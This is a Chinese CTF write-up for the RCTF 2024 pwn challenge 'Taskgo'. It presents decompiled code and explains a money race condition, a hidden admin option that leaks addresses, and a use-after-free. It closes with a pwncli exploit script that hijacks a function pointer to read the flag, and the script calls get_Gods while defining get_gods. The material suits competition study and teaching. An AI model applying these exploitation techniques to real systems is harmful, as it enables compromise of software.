RCTF-2024-pwn

韩乔落

写在前面

很久不打 CTF 比赛了,感觉现在的 Pwn 对代码审计和 Fuzz ,信息收集(相关的CVE)和逆向能力要求越来越高了。

Taskgo

个人感觉对于Go和Rust编译的程序来说,使用IDAPro来动态调试比gdb要好用一些。

逆向分析

main

main函数利用PostTask提交CtfMain()任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v13 = g_main_thread_task_runner;
base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 217);
v14 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v14,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v14 + 32) = CtfMain;
base::TaskRunner::PostTask(v13, v19, v14);
base::Location::Current((base::Location *)v19, "main", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 219);
base::RunLoop::Run((base::RunLoop *)v21, (const base::Location *)v19);
base::RunLoop::~RunLoop((base::RunLoop *)v21);
base::Thread::Options::~Options((base::Thread::Options *)v26);
base::Thread::~Thread((base::Thread *)v20);

CtfMain

CtfMain函数内,利用GetName函数在g_player结构体内存储名字,保存在g_player[0]上,g_player[6]保存了money。然后通过PostTask跑MainStmt()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 CtfMain(void)
{
[...]
GetName();
v3 = (__int128 *)g_player;
*((_DWORD *)v3 + 6) = 10000; // money
[...]
v7 = g_main_thread_task_runner;
base::Location::Current((base::Location *)v10, "CtfMain", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 178);
v8 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v8,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v8 + 0x20) = MainStmt;
return base::TaskRunner::PostTask(v7, v10, v8);
}

MainStmt

这是程序的主菜单,功能如下:

(1) Rapidly advancing in the rapids.

子功能:1. Wooden Boat.; 2. Silver Boat.; 3. Golden Boat.

(2) Magic Castle.

子功能:1. Buy Magic Scroll.; 2. Drop Magic Scroll.; 3. Learning Magic Scroll.; 1337. Gods(需满足一定条件)

(3) Show Money.

(4) exit(0)

RapidAdvanceMenu

通过PostTask跑RapidAdvance::PickHandle()函数来进行选择处理,这里可以看出,v13+0x20是任务,v13+0x28保存了参数。将Repeat放进任务队列,Repeat又将MainStmt放进任务队列,这里存在潜在的条件竞争风险,因为money并不是原子数,可能存在竞争风险导致溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v13 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v13,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(int),int &&>,base::internal::BindState<false,true,false,void (*)(int),int>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v13 + 0x20) = RapidAdvance::PickHandle;
*(_DWORD *)(v13 + 0x28) = v18[0];
base::TaskRunner::PostTask(v12, v17, v13);
v14 = g_main_thread_task_runner;
base::Location::Current(
(base::Location *)v17,
"RapidAdvanceMenu",
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc",
110);
v15 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v15,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v15 + 32) = Repeat;
return base::TaskRunner::PostTask(v14, v17, v15);

接下来进入RapidAdvance::PickHandle()函数,输入 1 后,CheckMoney的返回值不等于 0 会调用 RapidAdvance::StartRA()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall RapidAdvance::PickHandle(RapidAdvance *this)
{
[...]
v17[0] = result;
if ( (_DWORD)this == 3 )
{
[...]
v9 = (Player *)&g_player;
v10 = 10000;
}
else
{
if ( (_DWORD)this != 2 )
{
if ( (_DWORD)this == 1 )
{
v5 = (Player *)&g_player;
result = Player::CheckMoney(v5, 0x64u);
if ( (_BYTE)result )
return RapidAdvance::StartRA((RapidAdvance *)((char *)&qword_60 + 4));
}
return result;
}
[...]
v9 = (Player *)&g_player;
v10 = 1000;
}
else
{
v10 = 1000;
}
}
result = Player::CheckMoney(v9, v10);
if ( (_BYTE)result )
{
v14 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"You finish the game. Hope your next visit.",
42LL);
[...]
return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v14);
}
return result;
}

StartRA

通过PostTask启动FiveStar,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall RapidAdvance::StartRA(RapidAdvance *this)
{
if ( (_DWORD)this == 100 )
{
v1 = g_main_thread_task_runner;
base::Location::Current((base::Location *)v7, "StartRA", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 276);
v2 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v2,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v2 + 0x20) = FiveStar;
base::TaskRunner::PostTask(v1, v7, v2);
}
v3 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"You finish the game. Hope your next visit.",
42LL);
return 0LL;
}

进入FiveStart后,调试时发现其进入的时 v12<0 这个分支,将src[0]的内容复制给v7+0x28指向的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 FiveStar(void)
{
*(_OWORD *)src = 0LL;
v12 = 0LL;
std::__Cr::operator>><char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>(&std::__Cr::cin, src);
[...]
v6 = g_io_thread_task_runner;
base::Location::Current((base::Location *)v10, "FiveStar", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 270);
v7 = operator new(0x40uLL);
[...]
*(_QWORD *)(v7 + 0x20) = NoteStar;
v8 = (_OWORD *)(v7 + 0x28); // v8->v7+0x28
if ( v12 < 0 )
{
std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external(
v8,
src[0]);
}
else
{
*(_QWORD *)(v7 + 0x38) = v12;
*v8 = *(_OWORD *)src;
}
result = base::TaskRunner::PostTask(v6, v10, v7);
if ( v12 < 0 )
return free(src[0]);
return result;
}

CheckMoney

CheckMoney 调用了 sleep(1) 存在窗口时间,并且可以看到堆 money 的操作也并不是原子的,此时上面令起的Repeat任务早已开始运行了,我们此时可以利用这个等待时间购买其他东西,导致money整数溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
bool __fastcall Player::CheckMoney(Player *this, unsigned int cost)
{
v2 = (__int128 *)g_player;
v3 = *((_DWORD *)v2 + 6);
if ( v3 >= cost )
{
[...]
sleep(1u); // 窗口时间,并且此时未更改money值
v8 = (__int128 *)g_player;
[...]
v12 = *((_DWORD *)v8 + 6) - cost;
v13 = (__int128 *)g_player;
*((_DWORD *)v13 + 6) = v12;
v14 = (__int128 *)g_player;
v15 = std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::insert(
v22,
0LL,
"\n[!] OK, now you money is : ",
28LL);
if ( v25 < 0 )
{
free(v24);
if ( v23 >= 0 )
return v3 >= cost;
}
else if ( v23 >= 0 )
{
return v3 >= cost;
}
free(v22[0]);
return v3 >= cost;
}
v9 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"Don't have e enough money.",
26LL);
return v3 >= cost;
}

MagicCastleMenu

调用 MagicCastle::SwitchHandle(v16) 处理选择,然后令起任务MainStmt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 MagicCastleMenu(void)
{
[...]
LODWORD(v16) = -1431655766;
std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v16);
[...]
MagicCastle::SwitchHandle((MagicCastle *)(unsigned int)v16);
v12 = g_main_thread_task_runner;
base::Location::Current((base::Location *)v15, "Repeat", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/ctf.cc", 134);
v13 = operator new(0x30uLL);
base::internal::BindStateBase::BindStateBase(
v13,
base::internal::Invoker<base::internal::FunctorTraits<void (*&&)(void)>,base::internal::BindState<false,true,false,void (*)(void)>,void ()(void)>::RunOnce,
base::internal::BindState<false,true,false,void (*)(void)>::Destroy);
*(_QWORD *)(v13 + 0x20) = MainStmt;
return base::TaskRunner::PostTask(v12, v15, v13);
}

MagicCastle::SwitchHandle

可以看到一个隐藏后门 输入1337后,如果*(_BYTE *)(g_player + 0x1CLL) == 7会进入MagicHeld::Gods函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
void __fastcall MagicCastle::SwitchHandle(MagicCastle *this)
{
if ( (int)this <= 2 )
{
if ( (_DWORD)this == 1 )
{
if ( g_magiccastle <= 1uLL )
{
this = (MagicCastle *)&g_magiccastle;
if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
{
this = (MagicCastle *)&g_magiccastle;
base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
}
}
MagicCastle::BuyMS(this);
}
else if ( (_DWORD)this == 2 )
{
if ( g_magiccastle <= 1uLL )
{
this = (MagicCastle *)&g_magiccastle;
if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
{
this = (MagicCastle *)&g_magiccastle;
base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
}
}
MagicCastle::DropMS(this);
}
return;
}
if ( (_DWORD)this != 3 )
{
if ( (_DWORD)this != 1337 )
return;
v1 = (__int128 *)g_player;
[...]
v18[0] = *((_BYTE *)v1 + 0x1C);
[...]
v6 = (__int128 *)g_player;
if ( g_player <= 1uLL )
{
if ( !(unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) )
{
[...]
if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_player) )
{
[...]
LABEL_31:
if ( *((_BYTE *)v7 + 0x1C) == 7 )
{
LABEL_32: // 根据提示来看,这里也存在条件竞争。
v8 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"\x1B[31m [!] The system is currently recording you name, Please wait 5s... \x1B[0m",
76LL);
v11 = (void (__fastcall ***)(_QWORD, char *, _QWORD *, __int64))g_io_thread_task_runner;
[...]
v12 = (__int128 *)g_player;
[...]
v16 = *((_QWORD *)v12 + 4); // magic_cast
[...]
v17 = (_QWORD *)operator new(0x38uLL);
[...]
v17[4] = MagicHeld::Gods;
v17[5] = 0LL;
v17[6] = v16;
(**v11)(v11, v18, v17, 3000000LL);
return;
}
goto LABEL_41;
}
if ( *(_BYTE *)(g_player + 0x1CLL) == 7 )
goto LABEL_32; // 如果条件成立进入调用Gods
LABEL_41:
v13 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"You are not qualified!",
22LL);
goto LABEL_42;
}
}
[...]
LABEL_19:
if ( g_magiccastle <= 1uLL )
{
this = (MagicCastle *)&g_magiccastle;
if ( (unsigned __int8)base::internal::NeedsLazyInstance((unsigned __int64 *)&g_magiccastle) )
{
this = (MagicCastle *)&g_magiccastle;
base::internal::CompleteLazyInstance(&g_magiccastle, &unk_145068, 0LL);
}
}
MagicCastle::LearningMS(this);
}

MagicHeld::Gods

根据上面的参数传递来看,参数this = v17[6] = v16 = *((_QWORD *)v12 + 4); // magic_cast;,根据提示,这里也存在条件竞争。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall MagicHeld::Gods(const void **this)
{
printf("%p\n", &system);
printf("%p\n", this[5]);
v1 = (__int64 (__fastcall *)(__int128 *))this[5];
v2 = (__int128 *)g_player;
[...]
if ( *((char *)v2 + 0x17) >= 0 )
{
LABEL_5:
v5 = *((_QWORD *)v2 + 2);
dest = *v2;
goto LABEL_8;
}
LABEL_7:
std::__Cr::basic_string<char,std::__Cr::char_traits<char>,std::__Cr::allocator<char>>::__init_copy_ctor_external(
&dest,
*(void **)v2);
LABEL_8:
result = v1(&dest);
if ( v5 < 0 )
return free(dest);
return result;
}

MagicCastle::BuyMS(this)

有三个选项,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
__int64 __fastcall MagicCastle::BuyMS(MagicCastle *this)
{
v21 = -1431655766;
v1 = (__int128 *)g_player;
[...]
if ( *((_QWORD *)v1 + 4) )
{
LABEL_5:
v2 = std::__Cr::__put_character_sequence<char,std::__Cr::char_traits<char>>(
&std::__Cr::cout,
"You already possess a magic, hurry up and learn it.",
51LL);
[...]
return std::__Cr::basic_ostream<char,std::__Cr::char_traits<char>>::flush(v2);
}
std::__Cr::basic_istream<char,std::__Cr::char_traits<char>>::operator>>(&std::__Cr::cin, &v21);
switch ( v21 )
{
case 3u:
[...]
result = Player::CheckMoney(v18, 0x1869Fu);
if ( (_BYTE)result )
{
v19 = (__int128 *)g_player;
[...]
result = operator new(0x30uLL);
BYTE7(v22[1]) = 21;
if ( v22 > (_OWORD *)"Magic Scroll of Stone" || (char *)&v22[1] + 5 <= "Magic Scroll of Stone" )
{
strcpy((char *)v22, "Magic Scroll of Stone");
*(_QWORD *)result = off_124FF0;
*(_QWORD *)(result + 0x28) = Log;
*(_OWORD *)(result + 8) = v22[0];
*(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
*(_BYTE *)(result + 0x20) = 4;
goto LABEL_44;
}
}
break;
case 2u:
result = Player::CheckMoney(v18, 0x2710u);
if ( (_BYTE)result )
{
v19 = (__int128 *)g_player;
result = operator new(0x30uLL);
BYTE7(v22[1]) = 21;
if ( v22 > (_OWORD *)"Magic Scroll of Water" || (char *)&v22[1] + 5 <= "Magic Scroll of Water" )
{
strcpy((char *)v22, "Magic Scroll of Water");
*(_QWORD *)result = off_124FF0;
*(_QWORD *)(result + 0x28) = Log;
*(_OWORD *)(result + 8) = v22[0];
*(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
*(_BYTE *)(result + 0x20) = 2;
goto LABEL_44;
}
}
break;
case 1u:
result = Player::CheckMoney(v18, 0x2710u);
if ( (_BYTE)result )
{
v19 = (__int128 *)g_player;
result = operator new(0x30uLL);
BYTE7(v22[1]) = 21;
if ( v22 > (_OWORD *)"Magic Scroll of Flame" || (char *)&v22[1] + 5 <= "Magic Scroll of Flame" )
{
strcpy((char *)v22, "Magic Scroll of Flame");
*(_QWORD *)result = off_124FF0;
*(_QWORD *)(result + 0x28) = Log;
*(_OWORD *)(result + 8) = v22[0];
*(_QWORD *)(result + 0x18) = *(_QWORD *)&v22[1];
*(_BYTE *)(result + 0x20) = 1;
LABEL_44:
v20 = *((_QWORD *)v19 + 4);
*((_QWORD *)v19 + 4) = result;
if ( v20 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v20 + 8LL))(v20);
return result;
}
goto LABEL_46;
}
break;
}
return result;
}

MagicCastle::LearningMS(this)

这里发现可以改变g_player+0x1c的值,根据magic_cast的0x20的值做与运算,而我们正好可以利用 1, 2, 4 将其改为7,从而进入Gods函数,进行条件竞争的利用。

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall MagicCastle::LearningMS(MagicCastle *this)
{
v1 = (__int128 *)g_player;
v2 = (__int128 *)g_player;
[...]
// 调试发现其为 MagicHeld::GetTalent(),取出*((unsigned __int8 *)this + 0x20);
result = (*(__int64 (__fastcall **)(_QWORD))(**((_QWORD **)v2 + 4) + 0x18LL))(*((_QWORD *)v2 + 4));
*((_BYTE *)v1 + 0x1C) |= result;
return result;
}

MagicCastle::DropMS

这里将0x30大小的magic_cast释放了,而在Gods函数里面我们会申请一个0x40大小的堆块,可以尝试利用条件竞争修改已经释放的Cast,将其保存的Log函数为BackDoor函数(题目给的一个用于读取文件的函数)或者system函数地址。Gods函数调用了v1(&g_player),如果名字为flag或cat flag,那麽就调用了BackDoor(“flag”)或者system(“cat flag”)。

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall MagicCastle::DropMS(MagicCastle *this)
{
v8[0] = v1;
[...]
v6 = (__int128 *)g_player;
v7 = *((_QWORD *)v6 + 4);
*((_QWORD *)v6 + 4) = 0LL;
if ( v7 )
// 调试发现其为 MagicHeld::~MagicHeld()
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v7 + 8LL))(v7);
return result;
}

但在调试中发现,Gods中申请的堆块与magic_cast并不是同一堆块且相隔很远,cyclic() 测距时,偏移为0x28,并且在cin结束后就已经读入到释放掉的magic_cast中原来Log的位置了,可能go在cin变长读取时在堆上申请了缓冲区。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwncli import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './ctf'
context.log_level = 'debug'

gift.io = process('./ctf')
# gift.io = remote('127.0.0.1', 13337)
gift.elf = ELF('./ctf')

io: tube = gift.io
elf: ELF = gift.elf

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()
# 1. Rapidly advancing in the rapids.
# 2. Magic Castle.
# 3. Show Money.
# 4. Quit.
# >>

def cmd(i):
sla(b">> ",str(i).encode())

def wooden():
cmd(1)
cmd(1)

def silver():
cmd(1)
cmd(2)

def golden():
cmd(1)
cmd(3)

def buyMs(idx):
cmd(2)
cmd(1)
cmd(idx)

def dropMs():
cmd(2)
cmd(2)

def learningMs():
cmd(2)
cmd(3)

def god():
cmd(2)
cmd(1337)

def show():
cmd(3)

def get_gods():
global backdoor
golden()

buyMs(1)
learningMs()
dropMs()

buyMs(2)
learningMs()
dropMs()

buyMs(3)
learningMs()

show()

god()
ru(b"0x")
ru(b"0x")
# 0xBA0-0x950
backdoor = int(r(12),16)+0x250
success("backdoor = "+hex(backdoor))

sleep(1)

def get_flag():
sl("2")
cmd(1337)
dropMs()

wooden()
sla(b"visit.",b"5")

sla(b"Comments: ", b'a'*0x28 + p64(backdoor))


sla(b'name: ', b'./flag')

get_Gods()
get_flag()

ia()
  • Title: RCTF-2024-pwn
  • Author: 韩乔落
  • Created at : 2024-05-28 14:19:01
  • Updated at : 2024-05-29 17:46:33
  • Link: https://jelasin.github.io/2024/05/28/RCTF-2024-pwn/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
RCTF-2024-pwn